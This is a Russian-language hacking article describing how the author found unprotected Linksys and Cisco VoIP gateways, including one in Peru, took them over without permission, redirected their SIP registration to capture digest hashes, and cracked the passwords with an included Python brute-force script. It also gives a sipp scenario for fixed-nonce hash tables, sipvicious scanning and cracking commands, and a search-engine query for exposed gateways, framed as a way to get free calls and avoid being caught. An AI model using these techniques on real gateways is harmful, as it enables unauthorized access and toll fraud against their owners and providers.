Содержание статьи
Сегодня мы будем развивать интересное умение — поиск шлюзов IP-телефонии и их эксплуатацию. Так, чисто из любопытства. Вполне вероятно в результате мы получим полноценный плацдарм для наших хакерских опытов и, конечно же, безлимитный телефон.
С чего все начиналось
На тему астерисков и подбора паролей к ним написано очень много статей. Люди в теме наверняка слышали про набор утилит sipvicious, а многие их даже уже попробовали. Однако, когда ты сканируешь сеть при помощи svmap.py (скрипт входит в вышеупомянутый комплект), то в Сети помимо астерисков находятся различные VoIP-железки, как то: Cisco, AddPac, Linksys и так далее. Как правило, у них есть собственный web-интерфейс. И если ты думаешь, что он запаролен, то ты, наверное, прав. Но не всегда :). У Linksys по умолчанию нет пароля на web-интерфейсе. А зря, ведь многие их железки могут быть доступны извне.
Осваиваемся
Переходим к практике. Просканировав пару подсетей, я нашел VoIP-телефон SPA-841. Судя по IP-адресу, он находится в Перу, а конкретнее — в городе Лима. Я зашел на этот телефон, и оказалось, что внутри не выставлен ни пользовательский пароль, ни админский, а значит, с VoIP-телефоном можно делать что угодно. На телефонах Cisco-500 во вкладке "Voice -> Phone" существует поле "Text Logo". И его довольно легко поменять. Например, на ряде штатовских шлюзов я проставил фразу "from Russia with Love" и она отображалась на дисплее VoIP-телефона :). Как правило, после этого у железки сразу же менялся IP (либо на web все-таки ставили пароль), и у меня пропадал к ней доступ. Но было и такое, что заставка провисела на телефоне две недели, хотя вызовы совершались каждый рабочий день. В среде администрирования можно сменить параметры интернет-соединения, тогда шлюз совсем перестанет работать. Можно его запаролить, переименовать любые контакты... В общем, на что хватит фантазии. Но это все ребячество. Как же из такой находки получить реальную пользу? Через web, например, я вижу, где регистрируется шлюз, какой у него username и auth id (если есть), но не знаю пароль. Первым делом проверяю, не используется ли пароль, равный логину. Это можно сделать, вбив данные в сип-клиент. Обычно отображается ошибка 403 (пароль не подходит), однако даже в этом случае еще не все потеряно.
SIP-регистрация
Рассмотрим, как происходит процесс SIP-регистрации. Изначально клиент отправляет на Softswitch (например, Asterisk) запрос "REGISTER", в котором нет пароля, а есть только contact. В ответ приходит сообщение "401 Unauthorized", в котором указано, что нужно пройти "Digest access authentication". В присланном сообщении сгенерированы nonce и realm. Используя nonce и realm (полученные от сервера), пароль и username (прописанные на шлюзе), а также digesturi, шлюз генерит md5-хэш — response — и отправляет все это обратно на Softswitch, который проверяет присланные данные. Если они верные, то возвращает 200 ОК, если нет — снова 401. Получается, если достать дамп регистрации, то у тебя окажутся все данные, кроме пароля, а его можно будет подобрать. Для этого устанавливаем астериск, заводим в нем единственный peer, вбиваем username, как на шлюзе, и прописываем любой пароль. Затем применяем настройки.
Простейший пир из /etc/sip.conf:
[peru]
type=friend
username=username со шлюза
secret=helloworld
host=dynamic
disallow=all
allow=alaw
allow=ulaw
Далее я запускаю на астериске команду tshark с фильтром по порту 5060 и записью дампа в файл: tshark port 5060 -w /tmp/001.pcap
. Затем, зайдя на шлюз, меняю значение Proxy на IP-адрес астериска и жму "Submit all Changes". Когда у меня на часах 10 утра, то в Перу 2 ночи, так что работать со шлюзом очень удобно — можно не опасаться, что перезагрузка шлюза привлечет чье-то внимание. После того как шлюз ребутнулся, в tshark'e ловятся четыре пакета, что означает получение всех необходимых данных. Затем я возвращаю прежнее значение Proxy и снова применяю настройки.
11 миллионов евро ущерба от деятельности VOIP хакеров
Тема взлома VoIP-шлюзов звучит не так уж и часто. Даже если посмотреть последние хакерские конференции, то мода на эту тему немного поутихла. Вместе с тем в Сети есть немало людей, которые хорошо разбираются в теме и умеют эти навыки монетизировать. Показательным примером стала недавняя история про двух румынских хакеров Каталина Злейта и Кристиана Сиювата, которые сумели заработать на VoIP более миллиона евро. Используемые подходы были не слишком замысловатыми. Парни сканировали диапазоны IP-адресов с extension'ами, которые имели слабые пароли. Наверное, никто бы этого и не заметил, если бы они просто использовали полученные аккаунты для бесплатных звонков. Но ущерб от их деятельности составил примерно 11 миллионов евро. Как?!
Как гласят документы следствия, изначально парни ограничивались бесплатными звонками в различных направлениях. Но аппетиты, как известно, растут, и ребята быстро смекнули, как можно это монетизировать. За два года они сделали более 23 500 звонков (это 315 000 минут) на платные номера, предлагающие за денежку самые разные сервисы (прежде всего справочного типа). Прибыль получалась от участия в партнерских программах с провайдерами этих самых платных номеров. Была получена первая прибыль. Осознав, что вдвоем заработать много не получится, была создана специальная компания Shadow Communication Company Ltd. С этого момента бизнес вышел на совершенно новый уровень. Нанимая людей и реализовав для сотрудников удобный интерфейс (в нем, к примеру, отображались цены для звонков на платные номера и специальные условия вроде ограничения по количеству выполненных звонков в день), они сумели достичь совершенно новых вершин. Более того, была организована компания, которая сама предоставляла возможность регистрации платных номеров, а для более эффективной работы — система рефералов, стимулирующая активность.
Теперь уже становится ясно, откуда взялась такая баснословная сумма ущерба для честных пользователей VoIP. Силами Shadow Communication Company было совершено 1 541 187 несанкционированных звонков — это 11 094 167 минут разговора. Не удивляйся таким цифрам: это подсчет из логов, предоставленных VoIP-провайдерами. Сейчас по делу проходят 42 человека в разных городах Европы.
Подбор пароля
Далее я открываю дамп (например, при помощи Wireshark). Там нахожу пакет REGISTER с response — теперь все данные есть, и дело за малым — написать скрипт для подбора пароля. Кстати, можно ловить данные и в консоли астериска, для этого набираем в CLI "sip set debug on" и смотрим содержимое пакетов. Ввиду того, что скрипт, при помощи которого был найден шлюз, писался на питоне, я решил не отступать от традиции и написал очередной сценарий также на питоне. В нем мне нужно перебирать весь алфавит. Для этого я использовал готовый класс — он решает проблему с генерацией всех возможных вариантов пароля и позволяет задать алфавит для перебора (то есть искать только среди цифр, строчных букв и любых их сочетаний). А также задать длину пароля, начальное и конечное его значения.
Запрос на регистрацию в Wireshark
#!/usr/bin/python
import md5 # подключаем библиотеку, которая будет генерить md5-хэш
дальше идет класс для подбора пароля
EN = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
перечисление алфавитов
en = "abcdefghijklmnopqrstuvwxyz"
digits = "1234567890"
space = " "
p = ",.-!?;:'"/()"
op = "+-/:^()><="
all_spec = "'~!@#$%^&-_=+|/?.>,>'";:[]{}"
class ABCIterator:
... здесь следует класс, спертый из интернета :)
...
класс закончился, переходим к вводу данных
u=(raw_input('username >> '));
b=(raw_input('realm >> '));
m=(raw_input('method >> '));
d = (raw_input('digestURI >> '));
r = (raw_input('response >> '));
n = (raw_input('nonce >> '));
print u,b,m,d,r,n;
ha2= md5.new(m+":"+d).hexdigest();
генерим часть ha2 — она будет использоваться для хэширования
response=0;
ch=0; # в эту переменную будет сохраняться
порядковый номер пароля
for i in ABCIterator(start_len=1, stop_len=8, abc=digits+en):
указываем, что длина пароля начинается с 1,
заканчивается на 8, # и при переборе используются
цифры и буквы нижнего регистра
ch = ch+1;
if ch % 500000 == 0: print i;
это позволяет выводить на экран только каждый 500000-ый
вариант пароля
ha1 = md5.new(u+":"+b+":"+i).hexdigest();
response = md5.new(ha1+":"+n+":"+ha2).hexdigest(); # хэшируем
if r == response: # сравниваем хэш с полученным от шлюза
print "------------------>", i;
если они совпадают, выводит пароль и прекращаем поиск
exit(0);
Как брутят SIP-аккаунты?
Многие атаки на VoIP сводятся к поиску неправильно настроенных PBX (private branch exchange) или, по-русски говоря, офисных АТС. Различного рода сканирования, анализ и подбор паролей чаще всего осуществляются с помощью упомянутого в тексте статьи набора скриптов SIPVicious, написанных на Python'е и работающих под разными ОС. Чтобы лучше понимать материал, вспомним, как осуществляются основные действия на простом примере.
1. Сканирование диапазона подсети (пусть это будет 192.168.1.1/24), чтобы найти BPX.
[you@box sipvicious]$ ./svmap 192.168.1.1/24
| SIP Device | User Agent |
---------------------------------------------
| 192.168.1.103:5060 | Asterisk PBX |Если верить результатам, то АТС найдена на IP-адресе 192.168.1.103, а работает она на базе Asterisk PBX.
2. Поиск extention'ов (грубо говоря, виртуальных номеров) на найденной АТС. Эти аккаунты можно будет использовать для осуществления звонков.
[you@box sipvicious]$ ./svwar.py 192.168.1.103
| Extension | Authentication |
------------------------------
| 123 | reqauth |
| 100 | reqauth |
| 101 | noauth |Итак, найдено три номера. Мы видим, что номер 101 не требует авторизации. А для 100 и 123 необходима авторизация.
3. Подбор пароля, подставляя числовые значения (они используются более чем часто):
[you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 100
| Extension | Password |
------------------------
| 100 | 100 |Для extention’а "100" пароль подобран!
4. Подбор пароля с использованием словаря:
[you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 123 -d dictionary.txt
| Extension | Password |
------------------------
| 123 | secret |Есть пароль и для номера 123!
Вот так просто мы нашли АТС, рабочие аккаунты и подобрали для них пароль. Злоумышленник может подставить найденные логин-пароль в свой SIP-клиент (например, X-Lite) и осуществить звонки.
Пароль найден
Итак, скрипт отработал и подобрал пароль, а значит — можно прописывать данные в астериск и думать, что регистрация прошла успешно. Новый халявный транк для звонков на Кубу готов :). Вообще технологию можно доработать, ведь каждый раз перебирать пароль нецелесообразно. Имея доступ на шлюз, можно менять не только значение Proxy, но и username. Если найденные шлюзы регистрировать всегда на одном и том же сервере, то realm всегда будет asterisk, а digesturi — не меняется. Это значит, что достаточно научиться всегда отправлять в ответ на REGISTER сообщение 401 с постоянным nonce. Тогда можно составлять свою таблицу с хэшами паролей, так как все параметры от шлюза к шлюзу будут одинаковые (кроме пароля). Нужно перебирать все возможные пароли с постоянными realm, digesturi, username, метод — REGISTER, nonce и сохранять в базу соответствие "пароль-response", причем для каждого нового шлюза только делать выборку по response и сразу находить пароль. Затем генерить в ответ на регистрацию пакет 401 с одним и тем же nonce (это может программа sipp). Если составить такую базу данных, то можно открывать сервис по восстановлению забытых на шлюзах паролей для регистрации, вот только база получится слишком объемной :). Чтобы отвечать на REGISTER шлюза в sipp, надо использовать сценарий.
Cценарий для sipp — nonce.xml:
<?xml version="1.0" encoding="ISO-8859-1" ?>
<scenario name="register">
<recv request="REGISTER"/>
<send>
<![CDATA[SIP/2.0 401 Unauthorized Via: SIP/2.0/UDP [local_ip]:5060; branch=[branch];received=[remote_ip] From: username со шлюза <sip:username со шлюза@ip c Asterisk> To: username со шлюза <sip:username со шлюза@ip c Asterisk> Call-ID: [call_id] CSeq: [cseq] REGISTER Server: Asterisk PBX 1.6.2.13 Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO Supported: replaces, timer WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="17852b0a" Content-Length: [len] ]]>
</send>
</scenario>
Благодаря опции <recv request="REGISTER"/> sipp отправит наш "магический" пакет только когда придет запрос на регистрацию. Останавливаем астериск, чтобы он не отвечал на запросы со шлюза, затем создаем сценарий и из этой же папки запускаем sipp:
sipp -sf nonce.xml *ip шлюза* -i *ip c Asterisk* -trace_msg -l 10 -r 1 -rp 1000
Запускаем tshark с записью в файл и пробуем зарегистрировать шлюз. Открываем дамп и снова видим все данные, которые требуются для перебора.
Добытые данные можно использовать для подложной регистрации на сервере, даже не подбирая пароль, но это уже тема для другой статьи. Вот такой незамысловатый способ обеспечить себя бесплатными звонками, если повезет — то в любую точку мира, а если сильно повезет (или если использовать меры предосторожности), то еще и никогда не поймают :).
Info
На самом деле, незапароленные шлюзы можно искать и при помощи Google. Если в поисковом запросе ввести intitle: "Sipura SPA Configuration", то найдется немало шлюзов Линксис, на которых не выставлен пароль.